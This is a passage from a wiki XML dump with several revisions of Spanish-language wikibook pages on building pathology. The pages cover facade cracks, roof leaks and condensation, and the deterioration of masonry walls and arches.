      <sha1>4gyd6hekawp5hv4ib356ff3bqzp5gqv</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Fachadas/Grietas/Prevención</title>
    <ns>0</ns>
    <id>13745</id>
    <revision>
      <id>430186</id>
      <parentid>417089</parentid>
      <timestamp>2026-08-02T11:57:55Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430186</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="812" sha1="8cekwn05qux6sg8sg1w2q8d3uhzgcnn" xml:space="preserve">'''4.PREVENCIÓN'''                                                                                                             
----
                 

Se tomarán las medidas necesarias para limitar las causas indirectas evitando así la aparición de las directas que den paso a los procesos patológicos.
Se atenderá por tanto, de manera específica según el caso, a las medidas de proyecto y a las de ejecución para evitar que aparezcan los errores mencionados.

----
'''GRIETAS'''

[[Patología de la edificación/Fachadas/2.Grietas./1.DEFINICIÓN Y TIPOLOGÍA|1.Definición y tipología]]

[[Patología de la edificación/Fachadas/2.Grietas./2.INSPECCIÓN Y CONTROL|2.Inspección y control]]

[[Patología de la edificación/Fachadas/2.Grietas./3.REPARACIÓN|3.Reparación]]

3.Prevención

{{AutoCat}}</text>
      <sha1>8cekwn05qux6sg8sg1w2q8d3uhzgcnn</sha1>
    </revision>
    <revision>
      <id>430193</id>
      <parentid>430186</parentid>
      <timestamp>2026-08-02T11:58:36Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430193</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="825" sha1="ovgfm4j5p1z21t5ov4qo841ynzcvaoq" xml:space="preserve">'''4.PREVENCIÓN'''                                                                                                             
----
                 

Se tomarán las medidas necesarias para limitar las causas indirectas evitando así la aparición de las directas que den paso a los procesos patológicos.
Se atenderá por tanto, de manera específica según el caso, a las medidas de proyecto y a las de ejecución para evitar que aparezcan los errores mencionados.

----
'''GRIETAS'''

[[Patología de la edificación/Fachadas/2.Grietas./1.DEFINICIÓN Y TIPOLOGÍA|1.Definición y tipología]]

[[Patología de la edificación/Fachadas/2.Grietas./2.INSPECCIÓN Y CONTROL|2.Inspección y control]]

[[Patología de la edificación/Fachadas/2.Grietas./3.REPARACIÓN|3.Reparación]]

3.Prevención

{{AutoCat}}

{{AutoCat}}</text>
      <sha1>ovgfm4j5p1z21t5ov4qo841ynzcvaoq</sha1>
    </revision>
    <revision>
      <id>430194</id>
      <parentid>430193</parentid>
      <timestamp>2026-08-02T11:58:44Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <origin>430194</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="814" sha1="oupftrp0zk8c65ku20axjs85dmsl136" xml:space="preserve">'''4.PREVENCIÓN'''                                                                                                             
----
                 

Se tomarán las medidas necesarias para limitar las causas indirectas evitando así la aparición de las directas que den paso a los procesos patológicos.
Se atenderá por tanto, de manera específica según el caso, a las medidas de proyecto y a las de ejecución para evitar que aparezcan los errores mencionados.

----
'''GRIETAS'''

[[Patología de la edificación/Fachadas/2.Grietas./1.DEFINICIÓN Y TIPOLOGÍA|1.Definición y tipología]]

[[Patología de la edificación/Fachadas/2.Grietas./2.INSPECCIÓN Y CONTROL|2.Inspección y control]]

[[Patología de la edificación/Fachadas/2.Grietas./3.REPARACIÓN|3.Reparación]]

3.Prevención


{{AutoCat}}</text>
      <sha1>oupftrp0zk8c65ku20axjs85dmsl136</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Fachadas/Grietas/Inspección y control</title>
    <ns>0</ns>
    <id>13756</id>
    <revision>
      <id>430188</id>
      <parentid>417085</parentid>
      <timestamp>2026-08-02T11:58:07Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430188</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2552" sha1="2ckrvn8r13zy4mip5tvu4jphsg434z9" xml:space="preserve">'''2. INSPECCIÓN Y CONTROL:'''                                                                                                                     
----
                         
'''2.1 Identificación de lesiones'''

Según: 

:-forma de la grieta o fisura 
 
:-situación relativa en la unidad constructiva 

:-material de la unidad 

:-causa  

'''2.2  Evolución temporal'''

1º Establecimiento del momento en que pudo aparecer la lesión, (bordes limpios implican plazo corto de tiempo) y relación de la misma con algún echo concreto que pudiera haberle dado origen.

2º Conocimiento de la separación o aproximación más o menos periódica de los bordes de la grieta, tanto en magnitud como en tiempo mediante diversos métodos, (testigos de yeso, mediciones con aparatos específicos: extensómetros, etc.). En función de la solución constructiva del cerramiento lesionado, se podrá establecer un porcentaje de movilidad por debajo del cual podrá considerarse la grieta estabilizada.

'''2.3 Disposición constructiva'''

Se atenderá a los siguientes aspectos para observar su funcionamiento y posibles empujes entre ellos:

:-encuentros entere cerramiento y estructura

:-disposición de los elementos de fábrica

:-uniones entre cerramientos 

'''2.4 Características físico-químicas'''

En algún caso puede interesar conocer la resistencia a compresión y a flexotracción de los materiales del cerramiento, que se obtendrán con la toma de muestras de los propios elementos constructivos o por medio de probetas realizadas por nosotros si se conoce la composición original.
Será conveniente realizar también algunos ensayos físicos, para conocer su porosidad y coeficiente de succión, (que nos dará datos sobre la posible dilatación), así como ensayos químicos para investigar la posible presencia de componentes que provoquen dilataciones o modificaciones, en general, de su estructura fisicoquímica

'''2.5 Diagnóstico'''

Se realizará una vez conocidos los datos anteriores y los relativos a la lesión debiendo contener al menos:

:-causa indirecta

:-causa directa

:-evolución del proceso y su lesión 

:-tipología de la lesión y su estado en el momento del diagnóstico


----
'''GRIETAS'''

[[Patología de la edificación/Fachadas/2.Grietas./1.DEFINICIÓN Y TIPOLOGÍA|1.Definición y tipología]]

2.Inspección y control

[[Patología de la edificación/Fachadas/2.Grietas./3.REPARACIÓN|3.Reparación]]

[[Patología de la edificación/Fachadas/2.Grietas./4.PREVENCIÓN|3.Prevención]]

{{AutoCat}}</text>
      <sha1>2ckrvn8r13zy4mip5tvu4jphsg434z9</sha1>
    </revision>
    <revision>
      <id>430191</id>
      <parentid>430188</parentid>
      <timestamp>2026-08-02T11:58:25Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430191</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2565" sha1="mo9k0c0x1x1wn11m66o29lgekfvfp1n" xml:space="preserve">'''2. INSPECCIÓN Y CONTROL:'''                                                                                                                     
----
                         
'''2.1 Identificación de lesiones'''

Según: 

:-forma de la grieta o fisura 
 
:-situación relativa en la unidad constructiva 

:-material de la unidad 

:-causa  

'''2.2  Evolución temporal'''

1º Establecimiento del momento en que pudo aparecer la lesión, (bordes limpios implican plazo corto de tiempo) y relación de la misma con algún echo concreto que pudiera haberle dado origen.

2º Conocimiento de la separación o aproximación más o menos periódica de los bordes de la grieta, tanto en magnitud como en tiempo mediante diversos métodos, (testigos de yeso, mediciones con aparatos específicos: extensómetros, etc.). En función de la solución constructiva del cerramiento lesionado, se podrá establecer un porcentaje de movilidad por debajo del cual podrá considerarse la grieta estabilizada.

'''2.3 Disposición constructiva'''

Se atenderá a los siguientes aspectos para observar su funcionamiento y posibles empujes entre ellos:

:-encuentros entere cerramiento y estructura

:-disposición de los elementos de fábrica

:-uniones entre cerramientos 

'''2.4 Características físico-químicas'''

En algún caso puede interesar conocer la resistencia a compresión y a flexotracción de los materiales del cerramiento, que se obtendrán con la toma de muestras de los propios elementos constructivos o por medio de probetas realizadas por nosotros si se conoce la composición original.
Será conveniente realizar también algunos ensayos físicos, para conocer su porosidad y coeficiente de succión, (que nos dará datos sobre la posible dilatación), así como ensayos químicos para investigar la posible presencia de componentes que provoquen dilataciones o modificaciones, en general, de su estructura fisicoquímica

'''2.5 Diagnóstico'''

Se realizará una vez conocidos los datos anteriores y los relativos a la lesión debiendo contener al menos:

:-causa indirecta

:-causa directa

:-evolución del proceso y su lesión 

:-tipología de la lesión y su estado en el momento del diagnóstico


----
'''GRIETAS'''

[[Patología de la edificación/Fachadas/2.Grietas./1.DEFINICIÓN Y TIPOLOGÍA|1.Definición y tipología]]

2.Inspección y control

[[Patología de la edificación/Fachadas/2.Grietas./3.REPARACIÓN|3.Reparación]]

[[Patología de la edificación/Fachadas/2.Grietas./4.PREVENCIÓN|3.Prevención]]

{{AutoCat}}

{{AutoCat}}</text>
      <sha1>mo9k0c0x1x1wn11m66o29lgekfvfp1n</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Cubiertas inclinadas/Causas</title>
    <ns>0</ns>
    <id>13760</id>
    <revision>
      <id>430014</id>
      <parentid>97697</parentid>
      <timestamp>2026-08-02T10:07:26Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de enlaces rotos</comment>
      <origin>430014</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="6815" sha1="cj2g9bcydn667xaol366stju8oz7om5" xml:space="preserve">=='''Humedades de filtración'''==

La filtración en una cubierta se produce en los solapes de los elementos constructivos como en el solape de tejas o en el alero.  Si estos solapes son insuficientes en cuanto a su ''longitud'' o tienen una ''pendiente'' inadecuada, la lluvia ayudada principalmente por la acción del viento se filtra al interior. 
En cuestión al ''remate del alero'' si el vuelo de las tejas sobre el canalón es reducido favorece la filtración.

En cuanto a los ''aleros laterales'' debido a que son paralelos a la dirección de evacuación del agua, es poco probable que aparezcan filtraciones pero no imposible si los solapes en el borde no son suficientes.

El ''encuentro entre el faldón de la cubierta y elementos verticales'' también crea situaciones favorables a que aparezcan filtraciones. Se dan diversos casos.
Si el faldón arranca desde un paramento vertical, este caso no suele presentar problemas de infiltraciones salvo si la pendiente es reducida o el solape inadecuado.
Si existen encuentros laterales con elementos verticales, en este caso la filtración puede producirse si el solape del paramento sobre la teja no es suficiente o si las tejas no están colocadas adecuadamente para crear un  canal perimetral favorable a la escorrentía del agua. 
Si existen encuentro inferiores la filtración es muy favorable, y debería existir un canalón adecuadamente colocado para evitarla. 

Rotura de una teja o desprendimiento de alguna

En el alero frontal por vuelco escaso o mal funcionamiento del canalón

En las bajantes por rotura o sección insuficiente

En el alero lateral por rotura de la teja de borde

En limahoyas o en canalones ocultos, por obstrucción o rotura de la impermeabilización
 
Encuentros con paños verticales por ausencia de canalón perimetral o falta de junta de dilatación

Integridad de los solapes

Integridad de las piezas de cobertura


Por el solape de las piezas o por paramentos verticales.
	
''SOLAPE''. Solape insuficiente bien por su longitud o por su inclinación. 
		      Tipos de solape: frontal y lateral. 
			El solape frontal se realiza perpendicular a la pendiente.
			El solape lateral se realiza paralelo a la pendiente.
	
''ENCUENTRO CON  PARAMENTO VERTICAL''. Los más problemáticos son los laterales y los inferiores. En los primeros causa por mal solape entre elementos o falta de escorrentías adecuadas. En los segundos por falta de canalón de borde con disposición adecuada. En los superiores es menos probable aunque se da si la pendiente no es adecuada o el solape no sea defectuoso.

=='''Humedades por condensación'''==

Se producen cuando al paso del vapor de agua el cerramiento le obliga a pasar por situaciones de temperaturas y presiones que le lleven al rocío.  Este paso se produce debido al potencial de vapor de agua que se crea entre el espacio interior y el exterior que tiende a equilibrarse. Esta corriente de vapor de agua queda determinada según no sólo de la presión de vapor sino también de la permisividad al paso del vapor de agua de los elementos constructivos.
Estas situaciones son críticas cuando la diferencia de temperatura entre exterior e interior es más acusada como puede ser en invierno. 
Este fenómeno se da debido a una mala disposición de los elementos constructivos en cuanto a su permisividad al paso del vapor de agua.
Este fenómeno se puede dar en el interior del cerramiento (''intersticial'') o ''en la superficie'' del mismo (normalmente en su cara interior).
Usualmente la ausencia de cámaras de aire ventiladas (cubiertas calientes) favorecen estas condensaciones.

[[Imagen:condensación en aleros.jpg]]

=='''Desprendimientos'''==

Debidos a una mala sujeción de las piezas de cobertura de la cubierta (normalmente tejas) y a esfuerzos rasantes por dilataciones y contracciones apoyados con la acción del viento que succiona o levanta la pieza.
Se dan en todo tipo de coberturas, pero principalmente en aquellas conformadas por tejas unidas por morteros o similar. Provocando perdida de estanqueidad. 
También se dan en coberturas de pizarras que por corrosión de la clavazón y su desprendimiento posterior queden libres a desprenderse del faldón. 
En el caso de que la cobertura sea de chapa de fibrocemento o similar, podría desprenderse las piezas por rotura parcial de la pieza por su proximidad al anclaje y su fragilidad intrínseca.

=='''Erosiones'''==

==='''Roturas'''===

Producidas por las dilataciones que sufren los elementos constructivos a lo largo del día por el cambio de humedad y temperatura. Será necesaria una buena disposición de los elementos para permitirles la libre dilatación y contracción sin afectarse unos a otros. 
Este hecho es muy transcendente con respecto a las cubiertas debido a que a lo largo del día la radiación que incide sobre ellas es muy superior a cualquier otro elemento del edificio y por tanto es más susceptible de producirse dilataciones importantes.
Se distinguen dos tipos de roturas:
		
''GRIETAS''. Afecta a todo el espesor del elemento a considerar. Pueden darse por sobrecargas puntuales como en el caso de planchas o elementos superficiales (la grieta aparece en el elemento constructivo), o por falta de junta de dilatación entre aleros y elementos verticales (la grieta aparece en el elemento vertical)
		
''FISURAS''. Afecta solo al acabado superficial del elemento constructivo. Pueden darse por la ausencia de una junta de retracción en los acabados de los aleros.

==='''Erosiones'''===

1.	''MECÁNICAS''. Causadas por el viento que lleve partículas abrasivas principalmente sobre elementos muy expuestos. También se dan roturas de tejas por las acciones de pájaros en faldones o tejas donde puedan realizar un nido. 

2.	''FÍSICAS''. Son las mas usuales y se deben a la humedad previa y a los cambios de temperatura (heladas). Suelen afectar a materiales pétreos porosos. 

3.	''QUÍMICAS''.  Se dan por la humedad de filtración con elementos contaminantes diluidos en ella.  Bien mediante elementos atmosféricos (SO2,…) que afectan a piedras calizas u hormigones específicos., o bien mediante organismos previos en la cobertura.

=='''Erosiones derivadas'''==

==='''Organismos''' ===

Pueden ser nidos de pájaros, colonias de mohos, líquenes, musgos, o insectos.
Los nidos puedes aparecer por la existencia de aleros abiertos o tejas cobijas.
Los líquenes aparecen sobre tejas cerámicas o en morteros en situaciones de alta humedad como la orientación norte.
Los musgos requieren de un sustrato donde desarrollarse por lo que aparecen por causa de falta de mantenimiento en depósitos de sustrato en la cubierta como son las tejas canales o los canalones.
Los insectos xilófagos son peligrosos en caso de existir elementos de la cobertura de madera.</text>
      <sha1>cj2g9bcydn667xaol366stju8oz7om5</sha1>
    </revision>
    <revision>
      <id>430015</id>
      <parentid>430014</parentid>
      <timestamp>2026-08-02T10:07:34Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430015</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="6828" sha1="7b2wjpk3ahnh6jaje7xg6cryz2y8pp5" xml:space="preserve">=='''Humedades de filtración'''==

La filtración en una cubierta se produce en los solapes de los elementos constructivos como en el solape de tejas o en el alero.  Si estos solapes son insuficientes en cuanto a su ''longitud'' o tienen una ''pendiente'' inadecuada, la lluvia ayudada principalmente por la acción del viento se filtra al interior. 
En cuestión al ''remate del alero'' si el vuelo de las tejas sobre el canalón es reducido favorece la filtración.

En cuanto a los ''aleros laterales'' debido a que son paralelos a la dirección de evacuación del agua, es poco probable que aparezcan filtraciones pero no imposible si los solapes en el borde no son suficientes.

El ''encuentro entre el faldón de la cubierta y elementos verticales'' también crea situaciones favorables a que aparezcan filtraciones. Se dan diversos casos.
Si el faldón arranca desde un paramento vertical, este caso no suele presentar problemas de infiltraciones salvo si la pendiente es reducida o el solape inadecuado.
Si existen encuentros laterales con elementos verticales, en este caso la filtración puede producirse si el solape del paramento sobre la teja no es suficiente o si las tejas no están colocadas adecuadamente para crear un  canal perimetral favorable a la escorrentía del agua. 
Si existen encuentro inferiores la filtración es muy favorable, y debería existir un canalón adecuadamente colocado para evitarla. 

Rotura de una teja o desprendimiento de alguna

En el alero frontal por vuelco escaso o mal funcionamiento del canalón

En las bajantes por rotura o sección insuficiente

En el alero lateral por rotura de la teja de borde

En limahoyas o en canalones ocultos, por obstrucción o rotura de la impermeabilización
 
Encuentros con paños verticales por ausencia de canalón perimetral o falta de junta de dilatación

Integridad de los solapes

Integridad de las piezas de cobertura


Por el solape de las piezas o por paramentos verticales.
	
''SOLAPE''. Solape insuficiente bien por su longitud o por su inclinación. 
		      Tipos de solape: frontal y lateral. 
			El solape frontal se realiza perpendicular a la pendiente.
			El solape lateral se realiza paralelo a la pendiente.
	
''ENCUENTRO CON  PARAMENTO VERTICAL''. Los más problemáticos son los laterales y los inferiores. En los primeros causa por mal solape entre elementos o falta de escorrentías adecuadas. En los segundos por falta de canalón de borde con disposición adecuada. En los superiores es menos probable aunque se da si la pendiente no es adecuada o el solape no sea defectuoso.

=='''Humedades por condensación'''==

Se producen cuando al paso del vapor de agua el cerramiento le obliga a pasar por situaciones de temperaturas y presiones que le lleven al rocío.  Este paso se produce debido al potencial de vapor de agua que se crea entre el espacio interior y el exterior que tiende a equilibrarse. Esta corriente de vapor de agua queda determinada según no sólo de la presión de vapor sino también de la permisividad al paso del vapor de agua de los elementos constructivos.
Estas situaciones son críticas cuando la diferencia de temperatura entre exterior e interior es más acusada como puede ser en invierno. 
Este fenómeno se da debido a una mala disposición de los elementos constructivos en cuanto a su permisividad al paso del vapor de agua.
Este fenómeno se puede dar en el interior del cerramiento (''intersticial'') o ''en la superficie'' del mismo (normalmente en su cara interior).
Usualmente la ausencia de cámaras de aire ventiladas (cubiertas calientes) favorecen estas condensaciones.

[[Imagen:condensación en aleros.jpg]]

=='''Desprendimientos'''==

Debidos a una mala sujeción de las piezas de cobertura de la cubierta (normalmente tejas) y a esfuerzos rasantes por dilataciones y contracciones apoyados con la acción del viento que succiona o levanta la pieza.
Se dan en todo tipo de coberturas, pero principalmente en aquellas conformadas por tejas unidas por morteros o similar. Provocando perdida de estanqueidad. 
También se dan en coberturas de pizarras que por corrosión de la clavazón y su desprendimiento posterior queden libres a desprenderse del faldón. 
En el caso de que la cobertura sea de chapa de fibrocemento o similar, podría desprenderse las piezas por rotura parcial de la pieza por su proximidad al anclaje y su fragilidad intrínseca.

=='''Erosiones'''==

==='''Roturas'''===

Producidas por las dilataciones que sufren los elementos constructivos a lo largo del día por el cambio de humedad y temperatura. Será necesaria una buena disposición de los elementos para permitirles la libre dilatación y contracción sin afectarse unos a otros. 
Este hecho es muy transcendente con respecto a las cubiertas debido a que a lo largo del día la radiación que incide sobre ellas es muy superior a cualquier otro elemento del edificio y por tanto es más susceptible de producirse dilataciones importantes.
Se distinguen dos tipos de roturas:
		
''GRIETAS''. Afecta a todo el espesor del elemento a considerar. Pueden darse por sobrecargas puntuales como en el caso de planchas o elementos superficiales (la grieta aparece en el elemento constructivo), o por falta de junta de dilatación entre aleros y elementos verticales (la grieta aparece en el elemento vertical)
		
''FISURAS''. Afecta solo al acabado superficial del elemento constructivo. Pueden darse por la ausencia de una junta de retracción en los acabados de los aleros.

==='''Erosiones'''===

1.	''MECÁNICAS''. Causadas por el viento que lleve partículas abrasivas principalmente sobre elementos muy expuestos. También se dan roturas de tejas por las acciones de pájaros en faldones o tejas donde puedan realizar un nido. 

2.	''FÍSICAS''. Son las mas usuales y se deben a la humedad previa y a los cambios de temperatura (heladas). Suelen afectar a materiales pétreos porosos. 

3.	''QUÍMICAS''.  Se dan por la humedad de filtración con elementos contaminantes diluidos en ella.  Bien mediante elementos atmosféricos (SO2,…) que afectan a piedras calizas u hormigones específicos., o bien mediante organismos previos en la cobertura.

=='''Erosiones derivadas'''==

==='''Organismos''' ===

Pueden ser nidos de pájaros, colonias de mohos, líquenes, musgos, o insectos.
Los nidos puedes aparecer por la existencia de aleros abiertos o tejas cobijas.
Los líquenes aparecen sobre tejas cerámicas o en morteros en situaciones de alta humedad como la orientación norte.
Los musgos requieren de un sustrato donde desarrollarse por lo que aparecen por causa de falta de mantenimiento en depósitos de sustrato en la cubierta como son las tejas canales o los canalones.
Los insectos xilófagos son peligrosos en caso de existir elementos de la cobertura de madera.

{{AutoCat}}</text>
      <sha1>7b2wjpk3ahnh6jaje7xg6cryz2y8pp5</sha1>
    </revision>
    <revision>
      <id>430016</id>
      <parentid>430015</parentid>
      <timestamp>2026-08-02T10:07:45Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>/* Humedades por condensación */</comment>
      <origin>430016</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="6788" sha1="352g6hlyu8q7vs7hsg7tes57mnnladh" xml:space="preserve">=='''Humedades de filtración'''==

La filtración en una cubierta se produce en los solapes de los elementos constructivos como en el solape de tejas o en el alero.  Si estos solapes son insuficientes en cuanto a su ''longitud'' o tienen una ''pendiente'' inadecuada, la lluvia ayudada principalmente por la acción del viento se filtra al interior. 
En cuestión al ''remate del alero'' si el vuelo de las tejas sobre el canalón es reducido favorece la filtración.

En cuanto a los ''aleros laterales'' debido a que son paralelos a la dirección de evacuación del agua, es poco probable que aparezcan filtraciones pero no imposible si los solapes en el borde no son suficientes.

El ''encuentro entre el faldón de la cubierta y elementos verticales'' también crea situaciones favorables a que aparezcan filtraciones. Se dan diversos casos.
Si el faldón arranca desde un paramento vertical, este caso no suele presentar problemas de infiltraciones salvo si la pendiente es reducida o el solape inadecuado.
Si existen encuentros laterales con elementos verticales, en este caso la filtración puede producirse si el solape del paramento sobre la teja no es suficiente o si las tejas no están colocadas adecuadamente para crear un  canal perimetral favorable a la escorrentía del agua. 
Si existen encuentro inferiores la filtración es muy favorable, y debería existir un canalón adecuadamente colocado para evitarla. 

Rotura de una teja o desprendimiento de alguna

En el alero frontal por vuelco escaso o mal funcionamiento del canalón

En las bajantes por rotura o sección insuficiente

En el alero lateral por rotura de la teja de borde

En limahoyas o en canalones ocultos, por obstrucción o rotura de la impermeabilización
 
Encuentros con paños verticales por ausencia de canalón perimetral o falta de junta de dilatación

Integridad de los solapes

Integridad de las piezas de cobertura


Por el solape de las piezas o por paramentos verticales.
	
''SOLAPE''. Solape insuficiente bien por su longitud o por su inclinación. 
		      Tipos de solape: frontal y lateral. 
			El solape frontal se realiza perpendicular a la pendiente.
			El solape lateral se realiza paralelo a la pendiente.
	
''ENCUENTRO CON  PARAMENTO VERTICAL''. Los más problemáticos son los laterales y los inferiores. En los primeros causa por mal solape entre elementos o falta de escorrentías adecuadas. En los segundos por falta de canalón de borde con disposición adecuada. En los superiores es menos probable aunque se da si la pendiente no es adecuada o el solape no sea defectuoso.

=='''Humedades por condensación'''==

Se producen cuando al paso del vapor de agua el cerramiento le obliga a pasar por situaciones de temperaturas y presiones que le lleven al rocío.  Este paso se produce debido al potencial de vapor de agua que se crea entre el espacio interior y el exterior que tiende a equilibrarse. Esta corriente de vapor de agua queda determinada según no sólo de la presión de vapor sino también de la permisividad al paso del vapor de agua de los elementos constructivos.
Estas situaciones son críticas cuando la diferencia de temperatura entre exterior e interior es más acusada como puede ser en invierno. 
Este fenómeno se da debido a una mala disposición de los elementos constructivos en cuanto a su permisividad al paso del vapor de agua.
Este fenómeno se puede dar en el interior del cerramiento (''intersticial'') o ''en la superficie'' del mismo (normalmente en su cara interior).
Usualmente la ausencia de cámaras de aire ventiladas (cubiertas calientes) favorecen estas condensaciones.

=='''Desprendimientos'''==

Debidos a una mala sujeción de las piezas de cobertura de la cubierta (normalmente tejas) y a esfuerzos rasantes por dilataciones y contracciones apoyados con la acción del viento que succiona o levanta la pieza.
Se dan en todo tipo de coberturas, pero principalmente en aquellas conformadas por tejas unidas por morteros o similar. Provocando perdida de estanqueidad. 
También se dan en coberturas de pizarras que por corrosión de la clavazón y su desprendimiento posterior queden libres a desprenderse del faldón. 
En el caso de que la cobertura sea de chapa de fibrocemento o similar, podría desprenderse las piezas por rotura parcial de la pieza por su proximidad al anclaje y su fragilidad intrínseca.

=='''Erosiones'''==

==='''Roturas'''===

Producidas por las dilataciones que sufren los elementos constructivos a lo largo del día por el cambio de humedad y temperatura. Será necesaria una buena disposición de los elementos para permitirles la libre dilatación y contracción sin afectarse unos a otros. 
Este hecho es muy transcendente con respecto a las cubiertas debido a que a lo largo del día la radiación que incide sobre ellas es muy superior a cualquier otro elemento del edificio y por tanto es más susceptible de producirse dilataciones importantes.
Se distinguen dos tipos de roturas:
		
''GRIETAS''. Afecta a todo el espesor del elemento a considerar. Pueden darse por sobrecargas puntuales como en el caso de planchas o elementos superficiales (la grieta aparece en el elemento constructivo), o por falta de junta de dilatación entre aleros y elementos verticales (la grieta aparece en el elemento vertical)
		
''FISURAS''. Afecta solo al acabado superficial del elemento constructivo. Pueden darse por la ausencia de una junta de retracción en los acabados de los aleros.

==='''Erosiones'''===

1.	''MECÁNICAS''. Causadas por el viento que lleve partículas abrasivas principalmente sobre elementos muy expuestos. También se dan roturas de tejas por las acciones de pájaros en faldones o tejas donde puedan realizar un nido. 

2.	''FÍSICAS''. Son las mas usuales y se deben a la humedad previa y a los cambios de temperatura (heladas). Suelen afectar a materiales pétreos porosos. 

3.	''QUÍMICAS''.  Se dan por la humedad de filtración con elementos contaminantes diluidos en ella.  Bien mediante elementos atmosféricos (SO2,…) que afectan a piedras calizas u hormigones específicos., o bien mediante organismos previos en la cobertura.

=='''Erosiones derivadas'''==

==='''Organismos''' ===

Pueden ser nidos de pájaros, colonias de mohos, líquenes, musgos, o insectos.
Los nidos puedes aparecer por la existencia de aleros abiertos o tejas cobijas.
Los líquenes aparecen sobre tejas cerámicas o en morteros en situaciones de alta humedad como la orientación norte.
Los musgos requieren de un sustrato donde desarrollarse por lo que aparecen por causa de falta de mantenimiento en depósitos de sustrato en la cubierta como son las tejas canales o los canalones.
Los insectos xilófagos son peligrosos en caso de existir elementos de la cobertura de madera.

{{AutoCat}}</text>
      <sha1>352g6hlyu8q7vs7hsg7tes57mnnladh</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Estructuras de fábrica/Muros/Causas materiales y mecanismos de deterioro</title>
    <ns>0</ns>
    <id>13774</id>
    <revision>
      <id>430140</id>
      <parentid>123841</parentid>
      <timestamp>2026-08-02T11:47:43Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430140</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2570" sha1="rsvkpq1rd1tzpp4yimfgx37aw1bexn6" xml:space="preserve">Se podría decir que son los agentes que ponen en marcha el proceso patológico, es decir, la acción concreta sobre la unidad constructiva o sus materiales que inicia la degradación de los mismos que acaba en pérdida de su integridad o de su aspecto, lo que constituye la [[Patología de la edificación/Estructuras de fábrica/Muros/Lesiones|lesión]] observable como síntoma.

==Defectos de los materiales==
===De las piezas===
*por Porosidad: cohesión, congelación y erosión.
*por Constitución: dilatabilidad, heterogeneidad, etc.

===Del mortero===
*Mal dosificado: resistencia, durabilidad.
*Muy poroso
==Defectos del orden constructivo==
===Intrarrelación (interna)===
*[[Patología de la edificación/Estructuras de fábrica/Muros/Causas materiales y mecanismos de deterioro/Configuración de huecos|Configuración de huecos]]
*[[Patología de la edificación/Estructuras de fábrica/Muros/Causas materiales y mecanismos de deterioro/Constitución del muro|Constitución del muro]]
*Dimensionado
*Posición

===[[Interrelación (externa)]]===
*con Cimentación
*con Cubiertas
*con Forjados
*con Otros elementos o sistemas constructivos
==Acciones excesivas o imprevistas==
*[[Patología de la edificación/Estructuras de fábrica/Muros/Causas materiales y mecanismos de deterioro/Agentes atmosféricos|Agentes atmosféricos]]
*[[Patología de la edificación/Estructuras de fábrica/Muros/Causas materiales y mecanismos de deterioro/Causas químicas|Causas Químicas]]
*[[Patología de la edificación/Estructuras de fábrica/Muros/Causas materiales y mecanismos de deterioro/Causas mecánicas|Causas Mecánicas]]
*Reformas o actuaciones descuidadas
==[[Patología de la edificación/Estructuras de fábrica/Muros/Causas materiales y mecanismos de deterioro/Lesiones previas|Lesiones Previas]]==
''Bibliografía consultada''
Toda la bibliografía consultada se encuentra en la Biblioteca de la Escuela Técnica Superior de Arquitectura de Madrid. Universidad Politécnica de Madrid, España.
*Juan Monjo. ''Patología de cerramientos y acabados arquitectónicos''
*Barry A. Richardson. ''Remedial Treatment of Buildings''. The Construction Press.
*Feld. ''Fallos Técnicos en la Construcción''. Edit. Limusa
*COAATM. ''Tratamiento y conservación de la piedra en los monumentos''
*Martin E. Weaver, John Wiley &amp; Sons, Inc. ''Conserving Buildings. Guide to Techniques and Materials''
*John Warren. ''Conservation of brick''. Butterworth Heinemann
*Giuseppe Rocchi. ''Istituzioni di Restauro dei Beni Architettonici e Ambientali''
entre otros

{{AutoCat}}</text>
      <sha1>rsvkpq1rd1tzpp4yimfgx37aw1bexn6</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Estructuras de fábrica/Arcos/Causas operativas</title>
    <ns>0</ns>
    <id>13779</id>
    <revision>
      <id>430132</id>
      <parentid>123848</parentid>
      <timestamp>2026-08-02T11:45:37Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430132</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1629" sha1="ssbwa90ozp5vd6levlqeaqnjx8052nl" xml:space="preserve">Son cada uno de los factores inherentes a la unidad constructiva (factores de composición química, de forma o disposición) consecuencia de su selección o de su diseño defectuoso que, al anularse con la acción de la causa directa, posibilitan la aparición del proceso.
